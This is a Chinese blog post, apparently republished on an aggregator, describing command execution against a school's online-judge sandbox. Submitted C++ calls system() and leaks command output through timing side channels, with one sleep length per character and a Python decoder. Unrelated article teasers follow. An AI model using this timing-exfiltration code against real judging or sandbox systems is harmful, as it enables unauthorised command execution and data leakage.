一次学校OJ 代码执行测试

news2024/9/21 19:04:30

前言

以前看过一篇Windows上搭OJ被C#打穿的文章,刚好测测学校的OJ。
这里没有过多的研究其余的可能利用点,仅仅是简单记录下过程,一些思路的启发。

测试过程

首先看支持的代码类型:
image

尝试了Java发现不能import,那Java就没用了。
所幸是Linux上的C++,只要有cstdlib就可以system

如何判断能否执行命令呢?
可以通过时间回显来判断。(后面会有具体代码演示)
尝试发现可以执行一般的Linux命令,尝试ping vps,发现并不出网。
评测机应该是docker不出网环境。
那么命令执行的结果就只能通过时间盲注来判断了。
比如sleep(1)这种。

然后呢,为了更高效的盲注,想了一招:拆分时间gap来区分不同的字符,然后一次性将a~zA~Z0~9/-_全部判断完。
不然一个字符就得注六十多次。。。

一些测试代码如下:(GPT写的,能跑就行,楽)

#include <iostream>
#include <cstdlib> // For system()
#include <unistd.h> // For sleep()

int main() {
    // 执行命令,检查结果并进行睡眠
    int result = system("if [ $(pwd | head -c 1) = 'a' ]; then sleep 1; fi");

    // 检查命令执行是否成功
    if (result == -1) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }

    return 0;
}

image

那么就可以根据这种时间回显来盲注字符

#include <iostream>
#include <cstdlib>  // For system()
#include <fstream>  // For std::ifstream
#include <unistd.h> // For usleep()

// 从文件中获取指定位置的字符(从 1 开始)
char getCharacterFromFile(const std::string& filepath) {
    std::ifstream file(filepath);
    if (!file) {
        std::cerr << "Failed to open file" << std::endl;
        return '\0';
    }
    
    char ch;
    file.get(ch); // 读取一个字符
    file.close();
    return ch;
}

int main() {
    size_t position = 1;  // 修改这个值以提取不同位置的字符,例如1, 2, 3
    
    // 使用 system 命令提取指定字符到临时文件
    std::string command = "pwd | cut -c " + std::to_string(position) + " > /tmp/char_at_position.txt";
    int result = system(command.c_str());
    if (result != 0) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }

    // 获取文件中的指定字符
    char charAtPosition = getCharacterFromFile("/tmp/char_at_position.txt");
    
    // 计算睡眠时间
    unsigned int sleepTime = 0;
    
    if (charAtPosition >= 'a' && charAtPosition <= 'z') {
        sleepTime = (charAtPosition - 'a' + 1) * 10; // a = 10ms, b = 20ms, ..., z = 260ms
    } else if (charAtPosition >= 'A' && charAtPosition <= 'Z') {
        sleepTime = (charAtPosition - 'A' + 1 + 26) * 10; // A = 270ms, B = 280ms, ..., Z = 520ms
    } else if (charAtPosition >= '0' && charAtPosition <= '9') {
        sleepTime = (charAtPosition - '0' + 1 + 52) * 10; // 0 = 530ms, 1 = 540ms, ..., 9 = 620ms
    } else if (charAtPosition == '/') {
        sleepTime = 630; // 定义字符 '/' 的 sleep 时间
    } else if (charAtPosition == '-') {
        sleepTime = 640; // 定义字符 '-' 的 sleep 时间
    } else if (charAtPosition == '_') {
        sleepTime = 650; // 定义字符 '_' 的 sleep 时间
    }

    // 执行睡眠操作
    if (sleepTime > 0) {
        std::cout << "Sleeping for " << sleepTime << " milliseconds." << std::endl;
        usleep(sleepTime * 1000); // usleep 以微秒为单位
    } else {
        std::cout << "The character at the specified position is not in the range a-z, A-Z, 0-9, /, -, or _. No sleep." << std::endl;
    }

    // 删除临时文件
    system("rm /tmp/char_at_position.txt");

    return 0;
}

image

说明第一个是’/’
后面的就可以这么依次注出来了。

这里再测试后面几个字符:
在这里插入图片描述

然后python写个转换映射:

# 创建一个空字典用于反向映射
reverse_sleep_times = {}

# 计算小写字母的睡眠时间并填充反向映射
for i in range(ord('a'), ord('z') + 1):
    char = chr(i)
    sleep_time = (i - ord('a') + 1) * 10
    reverse_sleep_times[sleep_time] = char

# 计算大写字母的睡眠时间并填充反向映射
for i in range(ord('A'), ord('Z') + 1):
    char = chr(i)
    sleep_time = (i - ord('A') + 1 + 26) * 10
    reverse_sleep_times[sleep_time] = char

# 计算数字的睡眠时间并填充反向映射
for i in range(ord('0'), ord('9') + 1):
    char = chr(i)
    sleep_time = (i - ord('0') + 1 + 52) * 10
    reverse_sleep_times[sleep_time] = char

# 计算特殊字符的睡眠时间并填充反向映射
special_chars = {'/': 630, '-': 640, '_': 650}
for char, time in special_chars.items():
    reverse_sleep_times[time] = char

table = reverse_sleep_times
while True:
    num = input("> ").strip()
    num = int(num)
    print(table[num])
    
    

在这里插入图片描述

大概能判断出是 /test
为了更清晰的辨认当然可以使时间gap更大,这里就不再演示了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2079633.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文带你从零到实战,学会gcc和Makefile,多文件编译神器的使用与编写

目录&#xff1a; 目录&#xff1a; 一、什么是Makefile 1.1 makefile的作用&#xff1a; 1.2 makefile的基本组成&#xff1a; 二、Linux编译过程&#xff1a; 2.1 linux编译过程: 2.1.1 预处理&#xff08;Preprocessing&#xff09; 2.1.2 编译&#xff08;Compilation&am…

# 移动硬盘误操作制作为启动盘数据恢复问题

移动硬盘误操作制作为启动盘数据恢复问题 文章目录 移动硬盘误操作制作为启动盘数据恢复问题步骤一恢复原有数据 步骤二格式化并重新分区 注意注意先找数据恢复软件恢复数据&#xff0c;把之前移动硬盘或者U盘上的数据恢复到其它地址 步骤一 恢复原有数据 使用一些数据恢复软…

SpringBoot实现Word转PDF/TXT

背景 研发工作中难免会遇到一些奇奇怪怪的需求&#xff0c;就比如最近&#xff0c;客户提了个新需求&#xff1a;上传一个WORD文档&#xff0c;要求通过系统把该文档转换成PDF和TXT。客户的需求是没得商量的&#xff0c;必须实现&#xff01;承载着客户的期望&#xff0c;我开始…

培训第三十七天(Dockerfile与registry)

一、使用Dockerfile创建镜像 Dockerfile文件命令介绍&#xff1a; FORM 指定基础镜像为该镜像的最后修改版本 FROM < img:tag >指定基础镜像为该镜像的⼀个tag版本 MAINTAINER 指定镜像创建者&#xff0c;企业内部不⽤指定&#xff0c;对外发布也可以不指定 RUN 运⾏…

探索Python的Excel力量:openpyxl库的奥秘

文章目录 探索Python的Excel力量&#xff1a;openpyxl库的奥秘背景&#xff1a;为什么选择openpyxl&#xff1f;库简介&#xff1a;openpyxl是什么&#xff1f;安装指南&#xff1a;如何安装openpyxl&#xff1f;快速上手&#xff1a;五个基本函数实战演练&#xff1a;三个应用…

Python实现Word文档转换为图片(JPG、PNG、SVG等常见格式)例子解析

在Python中将Word文档转换为图片&#xff08;如JPG、PNG、SVG等格式&#xff09;可以通过多种库实现&#xff0c;例如Spire.Doc for Python和Aspose.Words for Python。以下是一些详细的代码示例&#xff0c;展示了如何使用这些库完成转换。 使用Spire.Doc for Python转换Word…

网络服务器及IO模型

网络服务器 单循环服务器&#xff1a;服务器在同一时刻只能响应一个客户端的请求 并发服务器模型&#xff1a;服务器在同一时刻可以响应多个客户端的请求 实现TCP并发服务器 1.多进程 2.多线程 3.IO多路复用&#xff1a; 为了解决进程或线程阻塞到某个 I/O 系统调用而出现的…

几种前端处理文本换行展示

文章目录 一、使用 CSS 的 white-space 属性二、使用 CSS 的 word-break 和 word-wrap 属性三、 使用 CSS 的 flex 布局和自动换行四、 使用overflow实现换行 一、使用 CSS 的 white-space 属性 可以将 white-space 属性设置为 pre-wrap 或 pre-line。 pre-wrap&#xff1a;保…

【STM32】FMC

FMC功能与FSMC类似&#xff0c;但比FSMC更强大&#xff0c;但仅在F4 / F7 / H7等高级一点的MCU上支持&#xff0c;F1不支持。虽然我的是F103&#xff0c;但顺便都看了。 大部分图片来源&#xff1a;正点原子HAL库课程 专栏目录&#xff1a;记录自己的嵌入式学习之路-CSDN博客 目…

数据结构学习:栈

栈的简介 栈&#xff08;Stack&#xff09;是限定仅在表尾进行插入租删除操作的线性表。 允许插入和删除的一端称为栈顶(top),另-端称为栈底(bottom) 不含任何数据元素的栈称为空栈 栈又称为后进先出的线性表,简称LIFO结构 栈的插入操作&#xff0c;也叫做进栈&#xff0c…

java JVM

JVM的组成 Java虚拟机&#xff08;JVM&#xff09;是执行Java字节码的运行时环境。它由以下几个主要部分组成&#xff1a; 1. **类加载器&#xff08;ClassLoader&#xff09;**&#xff1a; - 负责加载Java类的字节码到JVM中&#xff0c;并进行链接和初始化。 关于Java的…

C++基础练习

1》提示并输入一个字符串&#xff0c;统计该字符串中字母个数、数字个数、空格个数、其他字符的个数 1 #include<iostream>2 using namespace std;3 4 int main()5 {6 string str1; //定义字符串数据7 cout << "请输入一个字符串>>>" ;8…

三种常用的Word打印部分内容操作技巧

作为打工人&#xff0c;我们经常需要处理Word文档&#xff0c;有时还会遇到只需要打印文档中的部分内容而非整个文档的情况。为了高效地完成这一任务&#xff0c;Word提供了多种灵活的设置方法。本文将详细介绍三种常用的方法来帮助你实现只打印Word文档中的部分内容。 方法一&…

第一周学习--联邦学习

OUC读研--第一周 目录 1、课程学习 2、fedavg的算法实现 关于代码详解 1、client __init__ 方法 local_train 方法 2、server 3、get_dataset 函数定义 数据集加载 MNIST 数据集 CIFAR-10 数据集 返回值 使用示例 4、 main 代码解释 可能的改进点 5、models …

机器学习之 K-means算法的代码实现

K-means 算法简介 K-means 是一种常用的无监督学习算法&#xff0c;主要用于数据聚类。它的主要思想是将数据集中的数据分成 K 个簇&#xff08;Cluster&#xff09;&#xff0c;使得簇内的数据点尽可能相似&#xff0c;而簇间的差异尽可能大。K-means 算法的核心步骤包括初始…

关于类与构造函数继承的小挑战

题目 /* 使用构造函数将电动汽车&#xff08;称为 EV&#xff09;作为 Car 的子 “类 ”来实现。除了品牌和当前速度外&#xff0c;EV 还具有当前电池电量&#xff08;百分比&#xff09;&#xff08;“charge ”属性&#xff09;&#xff1b;实现一个 “chargeBattery ”方法…

Vitis AI 基本认知(Tiny-VGG 项目代码详解)

目录 1. 简介 1.1 Tiny-VGG 1.2 data 目录结构 2. 代码分析 2.1 Import packages 2.2 Dataset 2.3 Train step 2.4 Vali & Test step 2.5 Ceate model 2.6 Compile model 2.6.1 计算 loss 2.6.2 计算平均值 3.6.3 计算准确度 2.7 训练循环 2.7.1 自定义训练…

BLE蓝牙协议详解

BLE蓝牙协议详解 1、BLE协议栈 1、协议栈结构 蓝牙LE协议栈按功能分为三个层&#xff1a;Controller、Host和Application Profiles and Services。 HCI event是按BLE Spec标准设计的&#xff0c;是BLE Controller和Host用来交互的事件&#xff1b;GAP event是BLE host定义的…

环境配置 --- miniconda安装torch报错OSError: [WinError 126] 找不到指定的模块

环境配置 — miniconda安装torch报错OSError: [WinError 126] 找不到指定的模块。 CSDN 原因&#xff1a;fbegmm.dll文件出现问题 解决方案&#xff1a; 使用依赖分析工具https://github.com/lucasg/Dependencies/releases/tag/v1.11.1 检测报错提示的那个dll文件发现哪个文…

Nuclei:开源漏洞扫描器

Nuclei 拥有灵活的模板系统&#xff0c;可以适应各种安全检查。 它可以使用可自定义的模板向多个目标发送请求&#xff0c;确保零误报并实现跨多台主机的快速扫描。 它支持多种协议&#xff0c;包括 TCP、DNS、HTTP、SSL、文件、Whois、Websocket 等。 特征 模板库&#xf…